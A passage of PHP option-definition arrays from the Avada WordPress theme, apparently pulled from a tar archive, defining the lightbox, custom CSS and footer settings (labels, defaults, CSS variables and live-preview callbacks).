fusionLightboxVars.lightbox_loop var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_loop', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_autoplay' => [ 'label' => esc_html__( 'Autoplay the Lightbox Gallery', 'Avada' ), 'description' => esc_html__( 'Turn on to autoplay the lightbox gallery.', 'Avada' ), 'id' => 'lightbox_autoplay', 'default' => '0', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_autoplay var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_autoplay', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_slideshow_speed' => [ 'label' => esc_html__( 'Slideshow Speed', 'Avada' ), 'description' => esc_html__( 'Controls the slideshow speed if autoplay is turned on. ex: 1000 = 1 second.', 'Avada' ), 'id' => 'lightbox_slideshow_speed', 'default' => '5000', 'type' => 'slider', 'choices' => [ 'min' => '1000', 'max' => '20000', 'step' => '50', ], 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_slideshow_speed var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_slideshow_speed', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_opacity' => [ 'label' => esc_html__( 'Background Opacity', 'Avada' ), 'description' => esc_html__( 'Controls the opacity level for the background behind the lightbox.', 'Avada' ), 'id' => 'lightbox_opacity', 'default' => '0.9', 'type' => 'slider', 'choices' => [ 'min' => '0.1', 'max' => '1', 'step' => '0.01', ], 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_opacity var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_opacity', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_title' => [ 'label' => esc_html__( 'Title', 'Avada' ), 'description' => esc_html__( 'Turn on to display the image title in the lightbox.', 'Avada' ), 'id' => 'lightbox_title', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_title var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_title', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_desc' => [ 'label' => esc_html__( 'Caption', 'Avada' ), 'description' => esc_html__( 'Turn on to display the image caption in the lightbox.', 'Avada' ), 'id' => 'lightbox_desc', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_desc var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_desc', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_social' => [ 'label' => esc_html__( 'Social Sharing', 'Avada' ), 'description' => esc_html__( 'Turn on to display social sharing buttons on lightbox.', 'Avada' ), 'id' => 'lightbox_social', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVars.lightbox_social var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVars', 'id' => 'lightbox_social', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_deeplinking' => [ 'label' => esc_html__( 'Deeplinking', 'Avada' ), 'description' => esc_html__( 'Turn on to deeplink images in the lightbox.', 'Avada' ), 'id' => 'lightbox_deeplinking', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], // No need to refresh the page. 'transport' => 'postMessage', ], 'lightbox_post_images' => [ 'label' => esc_html__( 'Show Post Images in Lightbox', 'Avada' ), 'description' => esc_html__( 'Turn on to display post images in the lightbox that are inside the post content area.', 'Avada' ), 'id' => 'lightbox_post_images', 'default' => '1', 'type' => 'switch', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVideoVars.lightbox_post_images var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVideoVars', 'id' => 'lightbox_post_images', 'trigger' => [ 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'lightbox_video_dimensions' => [ 'label' => esc_html__( 'Slideshow Video Dimensions', 'Avada' ), 'description' => esc_html__( 'Controls the width and height for videos inside the lightbox.', 'Avada' ), 'id' => 'lightbox_video_dimensions', 'units' => false, 'default' => [ 'width' => '1280px', 'height' => '720px', ], 'type' => 'dimensions', 'required' => [ [ 'setting' => 'status_lightbox', 'operator' => '==', 'value' => '1', ], ], 'output' => [ // This is for the fusionLightboxVideoVars.lightbox_video_width var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVideoVars', 'id' => 'lightbox_video_width', 'choice' => 'width', 'trigger' => [ 'load', 'ready', 'resize', 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], // This is for the fusionLightboxVideoVars.lightbox_video_height var. [ 'element' => 'helperElement', 'property' => 'dummy', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'fusionLightboxVideoVars', 'id' => 'lightbox_video_height', 'choice' => 'height', 'trigger' => [ 'load', 'ready', 'resize', 'avadaLightBoxInitializeLightbox' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], ], ]; return $sections; } Avada/includes/options/custom_css.php000064400000002663152342437700013772 0ustar00 esc_html__( 'Custom CSS', 'Avada' ), 'id' => 'custom_css_section', 'priority' => 27, 'icon' => 'el-icon-css', 'alt_icon' => 'fusiona-code', 'fields' => [ 'custom_css' => [ 'label' => esc_html__( 'CSS Code', 'Avada' ), /* translators: !important */ 'description' => sprintf( esc_html__( 'Enter your CSS code in the field below. Do not include any tags or HTML in the field. Custom CSS entered here will override the theme CSS. In some cases, the %s tag may be needed. Don\'t URL encode image or svg paths. Contents of this field will be auto encoded.', 'Avada' ), '!important' ), 'id' => 'custom_css', 'default' => '', 'type' => 'code', 'choices' => [ 'language' => 'css', 'height' => 450, 'theme' => 'chrome', 'minLines' => 40, 'maxLines' => 50, ] ], ], ]; return $sections; } Avada/includes/options/footer.php000064400000113060152342437700013100 0ustar00 esc_html__( 'Footer', 'Avada' ), 'id' => 'heading_footer', 'priority' => 9, 'icon' => 'el-icon-arrow-down', 'alt_icon' => 'fusiona-footer', 'class' => 'hidden-section-heading', 'fields' => [], ]; if ( $has_global_footer ) { $sections['footer']['fields']['footer_options_template_override_notice'] = [ 'id' => 'footer_options_template_override_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: 1: Content|Footer|Page Title Bar. 2: URL. */ '
' . __( 'IMPORTANT NOTE: The options on this tab are not available because a global %1$s override is currently used. To edit your global layout please visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['footer']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', 'hidden' => ! $has_global_footer, ]; } $fields = [ 'footer_content_options_subsection' => [ 'label' => esc_html__( 'Footer Content', 'Avada' ), 'id' => 'footer_content_options_subsection', 'icon' => true, 'type' => 'sub-section', 'hidden' => $has_global_footer, 'fields' => [ 'footer_options_template_content_notice' => [ 'id' => 'footer_options_template_content_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['footer']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'footer_widgets' => [ 'label' => esc_html__( 'Footer Widgets', 'Avada' ), 'description' => esc_html__( 'Turn on to display footer widgets.', 'Avada' ), 'id' => 'footer_widgets', 'default' => '1', 'type' => 'switch', 'partial_refresh' => [ 'footer_content_footer_widgets' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'skip_for_template' => [ 'footer' ], ], ], 'edit_shortcut' => [ 'selector' => [ '.fusion-footer' ], 'shortcuts' => [ [ 'aria_label' => esc_html__( 'Edit Footer', 'Avada' ), 'icon' => 'fusiona-footer', 'open_parent' => true, 'link_to_template_if_override_active' => 'footer', ], [ 'aria_label' => esc_html__( 'Edit Footer Widgets', 'Avada' ), 'css_class' => 'fusion-edit-sidebar', 'link' => admin_url( 'widgets.php' ), 'disable_on_template_override' => 'footer', ], ], ], ], 'footer_widgets_columns' => [ 'label' => esc_html__( 'Number of Footer Columns', 'Avada' ), 'description' => esc_html__( 'Controls the number of columns in the footer.', 'Avada' ), 'id' => 'footer_widgets_columns', 'default' => '4', 'choices' => [ 'min' => '1', 'max' => '6', 'step' => '1', ], 'type' => 'slider', 'soft_dependency' => true, 'partial_refresh' => [ 'footer_content_footer_widgets_columns' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'skip_for_template' => [ 'footer' ], ], ], ], 'footer_widgets_center_content' => [ 'label' => esc_html__( 'Center Footer Widgets Content', 'Avada' ), 'description' => esc_html__( 'Turn on to center the footer widget content.', 'Avada' ), 'id' => 'footer_widgets_center_content', 'default' => '0', 'type' => 'switch', 'soft_dependency' => true, 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => '.fusion-footer-widget-area.fusion-widget-area', 'className' => 'fusion-footer-widget-area-center', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'footer_special_effects' => [ 'label' => 'Footer Special Effects', 'description' => esc_html__( 'Select a special effect for the footer area.', 'Avada' ), 'id' => 'footer_special_effects', 'default' => 'none', 'type' => 'radio', 'choices' => [ 'none' => esc_html__( 'None', 'Avada' ), 'footer_parallax_effect' => [ esc_html__( 'Footer Parallax Effect', 'Avada' ), esc_html__( 'This enables a fixed footer with parallax scrolling effect.', 'Avada' ), ], 'footer_area_bg_parallax' => [ esc_html__( 'Parallax Background Image', 'Avada' ), esc_html__( 'This enables a parallax effect on the background image selected in "Background Image For Footer Widget Area" field.', 'Avada' ), ], 'footer_sticky' => [ esc_html__( 'Sticky Footer', 'Avada' ), esc_html__( 'This enables a sticky footer. On short pages, the footer will always stick at the bottom, just "above the fold". On long enough pages, it will act just like a normal footer. IMPORTANT: This will not work properly when using a Left or Right Side Header layout and the side header is larger than the viewport.', 'Avada' ), ], 'footer_sticky_with_parallax_bg_image' => [ esc_html__( 'Sticky Footer and Parallax Background Image', 'Avada' ), esc_html__( 'This enables a sticky footer together with a parallax effect on the background image. On short pages, the footer will always stick at the bottom, just "above the fold". On long enough pages, it will act just like a normal footer.', 'Avada' ), ], ], 'output' => [ [ 'element' => 'html', 'property' => 'height', 'value_pattern' => '100%', 'exclude' => [ 'none', 'footer_parallax_effect', 'footer_area_bg_parallax' ], ], // This is for the avadaSideHeaderVars.footer_special_effects var. [ 'element' => 'helperElement', 'property' => 'bottom', 'js_callback' => [ 'fusionGlobalScriptSet', [ 'globalVar' => 'avadaSideHeaderVars', 'id' => 'footer_special_effects', 'trigger' => [ 'fusionSideHeaderScroll' ], ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'footer_parallax_effect', '===' ], 'element' => '.fusion-footer', 'className' => 'fusion-footer-parallax', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'none', '===' ], 'element' => 'body', 'className' => 'avada-footer-fx-none', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'footer_parallax_effect', '===' ], 'element' => 'body', 'className' => 'avada-footer-fx-parallax-effect', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'footer_area_bg_parallax', '===' ], 'element' => 'body', 'className' => 'avada-footer-fx-bg-parallax', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'footer_sticky', '===' ], 'element' => 'body', 'className' => 'avada-footer-fx-sticky', ], ], 'sanitize_callback' => '__return_empty_string', ], [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'footer_sticky_with_parallax_bg_image', '===' ], 'element' => 'body', 'className' => 'avada-footer-sticky-with-parallax-bg-image', ], ], 'sanitize_callback' => '__return_empty_string', ], ], 'partial_refresh' => [ 'footer_content_footer_special_effects' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'skip_for_template' => [ 'footer' ], ], ], ], 'footer_copyright' => [ 'label' => esc_html__( 'Copyright Bar', 'Avada' ), 'description' => esc_html__( 'Turn on to display the copyright bar.', 'Avada' ), 'id' => 'footer_copyright', 'default' => '1', 'type' => 'switch', 'partial_refresh' => [ 'footer_content_footer_copyright' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'skip_for_template' => [ 'footer' ], ], ], ], 'footer_copyright_center_content' => [ 'label' => esc_html__( 'Center Copyright Content', 'Avada' ), 'description' => esc_html__( 'Turn on to center the copyright bar content.', 'Avada' ), 'id' => 'footer_copyright_center_content', 'default' => '0', 'type' => 'switch', 'soft_dependency' => true, 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => '.fusion-footer-copyright-area', 'className' => 'fusion-footer-copyright-center', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'footer_text' => [ 'label' => esc_html__( 'Copyright Text', 'Avada' ), 'description' => esc_html__( 'Enter the text that displays in the copyright bar. HTML markup can be used.', 'Avada' ), 'id' => 'footer_text', /* translators: %1$s: Years. %2$s: Avada Product Link. %3$s: ThemeFusion link. %4$s: WordPress link. */ 'default' => sprintf( esc_html__( 'Copyright %1$s | %2$s by %3$s | All Rights Reserved | Powered by %4$s', 'Avada' ), '2012 - ' . date( 'Y' ), 'Avada Website Builder', 'Avada', 'WordPress' ), 'type' => 'code', 'choices' => [ 'language' => 'html', 'height' => 300, 'theme' => 'chrome', ], 'sanitize_callback' => [ 'Avada_Output_Callbacks', 'unfiltered' ], 'soft_dependency' => true, 'partial_refresh' => [ 'footer_text' => [ 'selector' => '.fusion-copyright-notice', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'copyright' ], 'skip_for_template' => [ 'footer' ], ], ], ], ], ], 'footer_background_image_options_subsection' => [ 'label' => esc_html__( 'Footer Background Image', 'Avada' ), 'id' => 'footer_background_image_options_subsection', 'icon' => true, 'type' => 'sub-section', 'hidden' => $has_global_footer, 'fields' => [ 'footer_options_template_bg_notice' => [ 'id' => 'footer_options_template_bg_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['footer']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'footerw_bg_image' => [ 'label' => esc_html__( 'Background Image For Footer Widget Area', 'Avada' ), 'description' => esc_html__( 'Select an image for the footer widget background. If left empty, the footer background color will be used.', 'Avada' ), 'id' => 'footerw_bg_image', 'default' => '', 'mod' => '', 'type' => 'media', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footerw_bg_image', 'choice' => 'url', 'element' => '.fusion-footer-widget-area', 'callback' => [ 'fallback_to_value', [ 'url("$")', '' ] ], ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'has-image' ], 'element' => 'body', 'className' => 'avada-has-footer-widget-bg-image', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'footerw_bg_full' => [ 'label' => esc_html__( '100% Background Image', 'Avada' ), 'description' => esc_html__( 'Turn on to have the footer background image display at 100% in width and height according to the window size.', 'Avada' ), 'id' => 'footerw_bg_full', 'default' => '0', 'type' => 'switch', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footerw_bg_full-size', 'element' => '.fusion-footer-widget-area', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ 'cover', 'initial' ], 'conditions' => [ [ 'footerw_bg_full', 'true' ], ], ], ], ], [ 'name' => '--footerw_bg_full-position', 'element' => '.fusion-footer-widget-area', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ 'center center', 'var(--footerw_bg_pos)' ], 'conditions' => [ [ 'footerw_bg_full', 'true' ], ], ], ], ], ], ], 'footerw_bg_repeat' => [ 'label' => esc_html__( 'Background Repeat', 'Avada' ), 'description' => esc_html__( 'Controls how the background image repeats.', 'Avada' ), 'id' => 'footerw_bg_repeat', 'default' => 'no-repeat', 'type' => 'select', 'choices' => [ 'repeat' => esc_html__( 'Repeat All', 'Avada' ), 'repeat-x' => esc_html__( 'Repeat Horizontally', 'Avada' ), 'repeat-y' => esc_html__( 'Repeat Vertically', 'Avada' ), 'no-repeat' => esc_html__( 'No Repeat', 'Avada' ), ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footerw_bg_repeat', 'element' => '.fusion-footer-widget-area', ], ], ], 'footerw_bg_pos' => [ 'label' => esc_html__( 'Background Position', 'Avada' ), 'description' => esc_html__( 'Controls how the background image is positioned.', 'Avada' ), 'id' => 'footerw_bg_pos', 'default' => 'center center', 'type' => 'select', 'choices' => [ 'top left' => esc_html__( 'top left', 'Avada' ), 'top center' => esc_html__( 'top center', 'Avada' ), 'top right' => esc_html__( 'top right', 'Avada' ), 'center left' => esc_html__( 'center left', 'Avada' ), 'center center' => esc_html__( 'center center', 'Avada' ), 'center right' => esc_html__( 'center right', 'Avada' ), 'bottom left' => esc_html__( 'bottom left', 'Avada' ), 'bottom center' => esc_html__( 'bottom center', 'Avada' ), 'bottom right' => esc_html__( 'bottom right', 'Avada' ), ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footerw_bg_pos', 'element' => '.fusion-footer-widget-area', ], ], ], ], ], 'footer_styling_options_subsection' => [ 'label' => esc_html__( 'Footer Styling', 'Avada' ), 'id' => 'footer_styling_options_subsection', 'icon' => true, 'type' => 'sub-section', 'hidden' => $has_global_footer, 'fields' => [ 'footer_options_template_styling_notice' => [ 'id' => 'footer_options_template_styling_notice', 'label' => '', 'description' => class_exists( 'Fusion_Template_Builder' ) ? sprintf( /* translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection URL. */ '
' . __( 'IMPORTANT NOTE: For more flexibility and a modern, more performant setup, we recommend using the %1$s Builder to create a custom %1$s Layout. visit this page.', 'Avada' ) . '
', Fusion_Template_Builder::get_instance()->get_template_terms()['footer']['label'], admin_url( 'admin.php?page=avada-layouts' ) ) : '', 'type' => 'custom', ], 'footer_100_width' => [ 'label' => esc_html__( '100% Footer Width', 'Avada' ), 'description' => esc_html__( 'Turn on to have the footer area display at 100% width according to the window size. Turn off to follow site width.', 'Avada' ), 'id' => 'footer_100_width', 'default' => '0', 'type' => 'switch', 'class' => 'fusion-or-gutter', 'soft_dependency' => true, 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-100-footer', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'footer_area_padding' => [ 'label' => esc_html__( 'Footer Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/right/bottom/left padding for the footer.', 'Avada' ), 'id' => 'footer_area_padding', 'choices' => [ 'top' => true, 'bottom' => true, 'left' => true, 'right' => true, ], 'default' => [ 'top' => '60px', 'bottom' => '64px', 'left' => '0px', 'right' => '0px', ], 'type' => 'spacing', 'class' => 'fusion-or-gutter', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_area_padding-top', 'element' => '.fusion-footer', 'choice' => 'top', ], [ 'name' => '--footer_area_padding-bottom', 'element' => '.fusion-footer', 'choice' => 'bottom', ], [ 'name' => '--footer_area_padding-left', 'element' => '.fusion-footer', 'choice' => 'left', ], [ 'name' => '--footer_area_padding-right', 'element' => '.fusion-footer', 'choice' => 'right', ], ], ], 'footer_bg_color' => [ 'label' => esc_html__( 'Footer Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the footer.', 'Avada' ), 'id' => 'footer_bg_color', 'default' => 'var(--awb-color7)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_bg_color', 'element' => '.fusion-footer-widget-area', 'callback' => [ 'sanitize_color' ], ], ], ], 'footer_border_size' => [ 'label' => esc_html__( 'Footer Border Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the top footer border.', 'Avada' ), 'id' => 'footer_border_size', 'default' => '0', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '50', 'step' => '1', ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_border_size', 'element' => '.fusion-footer-widget-area', 'value_pattern' => '$px', ], ], ], 'footer_border_color' => [ 'label' => esc_html__( 'Footer Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the border colors of the footer.', 'Avada' ), 'id' => 'footer_border_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_border_color', 'element' => '.fusion-footer-widget-area', 'callback' => [ 'sanitize_color' ], ], ], ], 'footer_divider_line' => [ 'label' => esc_html__( 'Footer Widgets Area Vertical Divider Line', 'Avada' ), 'description' => esc_html__( 'Turn on to have the footer widget area display vertical divider line between columns.', 'Avada' ), 'id' => 'footer_divider_line', 'default' => '0', 'type' => 'switch', 'class' => 'fusion-or-gutter', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_divider_line-flex', 'element' => '.fusion-footer', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ 'flex', 'block' ], 'conditions' => [ [ 'footer_divider_line', 'true' ], ], ], ], ], ], 'partial_refresh' => [ 'footer_divider_line_partial' => [ 'selector' => '.fusion-footer', 'container_inclusive' => false, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'footer' ], 'skip_for_template' => [ 'footer' ], ], ], ], 'footer_divider_line_size' => [ 'label' => esc_html__( 'Footer Widgets Area Vertical Divider Line Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the vertical divider line between footer widget area columns.', 'Avada' ), 'id' => 'footer_divider_line_size', 'default' => '1', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '50', 'step' => '1', ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_divider_line_size', 'element' => '.fusion-footer', 'value_pattern' => '$px', ], ], ], 'footer_divider_line_style' => [ 'label' => esc_html__( 'Footer Widgets Area Vertical Divider Line Style', 'Avada' ), 'description' => esc_html__( 'Controls the style of the vertical divider line between footer widget area columns.', 'Avada' ), 'id' => 'footer_divider_line_style', 'default' => 'solid', 'choices' => [ 'none' => esc_html__( 'None', 'fusion-builder' ), 'solid' => esc_html__( 'Solid', 'fusion-builder' ), 'dashed' => esc_html__( 'Dashed', 'fusion-builder' ), 'dotted' => esc_html__( 'Dotted', 'fusion-builder' ), 'double' => esc_html__( 'Double', 'fusion-builder' ), 'groove' => esc_html__( 'Groove', 'fusion-builder' ), 'ridge' => esc_html__( 'Ridge', 'fusion-builder' ), ], 'type' => 'select', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_divider_line_style', 'element' => '.fusion-footer', ], ], ], 'footer_divider_color' => [ 'label' => esc_html__( 'Footer Widget Divider Color', 'Avada' ), 'description' => esc_html__( 'Controls the divider color in the footer widgets and also the vertical divider lines between widget areas.', 'Avada' ), 'id' => 'footer_divider_color', 'default' => 'var(--awb-color6)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_divider_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'footer_widgets_padding' => [ 'label' => esc_html__( 'Footer Widgets Area Padding', 'Avada' ), 'description' => esc_html__( 'Controls the right/left padding for the footer widget areas.', 'Avada' ), 'id' => 'footer_widgets_padding', 'default' => '16px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', '%' ], ], 'class' => 'fusion-or-gutter', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_widgets_padding', 'element' => '.fusion-footer', ], ], ], 'copyright_padding' => [ 'label' => esc_html__( 'Copyright Padding', 'Avada' ), 'description' => esc_html__( 'Controls the top/bottom padding for the copyright area.', 'Avada' ), 'id' => 'copyright_padding', 'default' => [ 'top' => '20px', 'bottom' => '20px', ], 'choices' => [ 'top' => true, 'bottom' => true, ], 'type' => 'spacing', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--copyright_padding-top', 'element' => '.fusion-footer-copyright-area', 'choice' => 'top', ], [ 'name' => '--copyright_padding-bottom', 'element' => '.fusion-footer-copyright-area', 'choice' => 'bottom', ], ], ], 'copyright_bg_color' => [ 'label' => esc_html__( 'Copyright Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the footer copyright area.', 'Avada' ), 'id' => 'copyright_bg_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--copyright_bg_color', 'element' => '.fusion-footer-copyright-area', 'callback' => [ 'sanitize_color' ], ], ], ], 'copyright_border_size' => [ 'label' => esc_html__( 'Copyright Border Size', 'Avada' ), 'description' => esc_html__( 'Controls the size of the top copyright border.', 'Avada' ), 'id' => 'copyright_border_size', 'default' => '0', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '50', 'step' => '1', ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--copyright_border_size', 'element' => '.fusion-footer-copyright-area', 'value_pattern' => '$px', ], ], ], 'copyright_border_color' => [ 'label' => esc_html__( 'Copyright Border Color', 'Avada' ), 'description' => esc_html__( 'Controls the border colors for the footer copyright area.', 'Avada' ), 'id' => 'copyright_border_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--copyright_border_color', 'element' => '.fusion-footer-copyright-area', 'callback' => [ 'sanitize_color' ], ], ], ], 'footer_typography_info' => [ 'label' => esc_html__( 'Footer Typography', 'Avada' ), 'description' => '', 'id' => 'footer_typography_info', 'type' => 'info', ], 'footer_headings_typography' => [ 'id' => 'footer_headings_typography', 'label' => esc_html__( 'Footer Headings Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for the footer headings.', 'Avada' ), 'global' => true, 'type' => 'typography', 'text_transform_no_inherit' => true, 'choices' => [ 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'line-height' => true, 'letter-spacing' => true, 'color' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography2-font-family)', 'font-size' => 'var(--awb-typography2-font-size)', 'font-weight' => '600', 'line-height' => 'var(--awb-typography2-line-height)', 'letter-spacing' => 'var(--awb-typography2-letter-spacing)', 'color' => 'var(--awb-color1)', 'text-transform' => 'none', ], 'soft_dependency' => true, 'css_vars' => [ [ 'name' => '--footer_headings_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'footer_headings_typography' ], ], [ 'name' => '--footer_headings_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--footer_headings_typography-font-weight', 'choice' => 'font-weight', 